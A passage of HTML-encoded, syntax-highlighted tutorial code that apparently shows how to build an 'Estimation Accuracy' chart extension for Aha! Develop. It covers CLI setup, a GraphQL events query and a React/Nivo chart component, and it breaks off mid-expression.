&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; aha-cli auth:login&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; aha-cli extension:watch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is now a menu item for &lt;code&gt;Estimation Accuracy&lt;/code&gt; under the &lt;code&gt;Plan&lt;/code&gt; menu in Aha! Develop. The page is empty.
&lt;img src=&quot;/116316d0c1b75f5bc1b3ab91ecd9b2bb/menu.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Open the file &lt;code&gt;src/views/estimationAccuracy.js&lt;/code&gt;. We can start filling in the page to fetch and draw the data. First let’s just make a function to fetch all the available completed iterations:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; getCompletedIterations&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; aha.models.Iteration.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ startDate: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;ASC&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ status: [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], projectId: aha.project.id })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;findInBatches&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we’ll make a function to fetch the events we’re interested in. What we want to do here is compare the estimate at the start of a sprint to changes made to record estimates during a sprint. So we load the events with the types &lt;code&gt;ITERATION_START&lt;/code&gt; and &lt;code&gt;RECORD_ESTIMATE_CHANGED&lt;/code&gt; grouped by &lt;code&gt;ITERATION_ID&lt;/code&gt;. We only want the events for the sprints in the team we’re currently viewing, so we add a &lt;code&gt;teamId&lt;/code&gt; filter as well:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; getEstimationEvents&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; query&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    query GetEstimationEvents($filters: RecordEventFilters!) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      recordEvents(filters: $filters) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        grouped(groupBy: ITERATION_ID) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          groupByValue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          originalEstimate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;          eventType&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  `&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; filters&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    eventType: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      aha.enums.RecordEventTypeEnum.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RECORD_ESTIMATE_CHANGED&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      aha.enums.RecordEventTypeEnum.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ITERATION_START&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    teamId: aha.project.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; aha.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;graphQuery&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(query, { variables: { filters } });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; data.recordEvents.grouped;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let’s make a chart component that loads that data, shows a spinner while the data is loading, and then displays nothing when finished:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Chart&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;iterations&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;setIterations&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; useState&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;events&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;setEvents&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; useState&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  useEffect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    getCompletedIterations&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;then&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(setIterations);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    getEstimationEvents&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;then&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(setEvents);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }, []);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;iterations &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;events) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;aha-spinner&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; /&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;aha.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;estimationAccuracy&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;h2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Estimation Accuracy&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;h2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Chart&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Easy so far. Now we just need to display the data in a line chart. First we make sure we only look at iterations that have events. This goes into the &lt;code&gt;Chart&lt;/code&gt; component function under the spinner line:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; iterationsWithData&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;...new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(events.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; e.groupByValue))]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;reduce&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;acc&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; iteration&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; iterations.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; i.id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; iteration &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;acc, iteration] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; acc;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }, [])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Date&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(a.startDate).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getTime&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Date&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(b.startDate).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getTime&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we need to provide the line data as expected by Nivo. We’re providing a list of points where each point has the iteration name as the &lt;code&gt;x&lt;/code&gt; value and the estimation accuracy % as the &lt;code&gt;y&lt;/code&gt; value.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      id: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Estimation Accuracy&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      data: iterationsWithData.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;iteration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; originalEstimate&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          events.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              event.groupByValue &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; iteration.id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              event.eventType &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                aha.enums.RecordEventTypeEnum.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ITERATION_START&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          )?.originalEstimate &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; estimateChangedBy&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Math.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;abs&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          events.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              event.groupByValue &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; iteration.id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              event.eventType &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                aha.enums.RecordEventTypeEnum.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RECORD_ESTIMATE_CHANGED&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.value&lt;/span&gt;&lt;/span&gt;
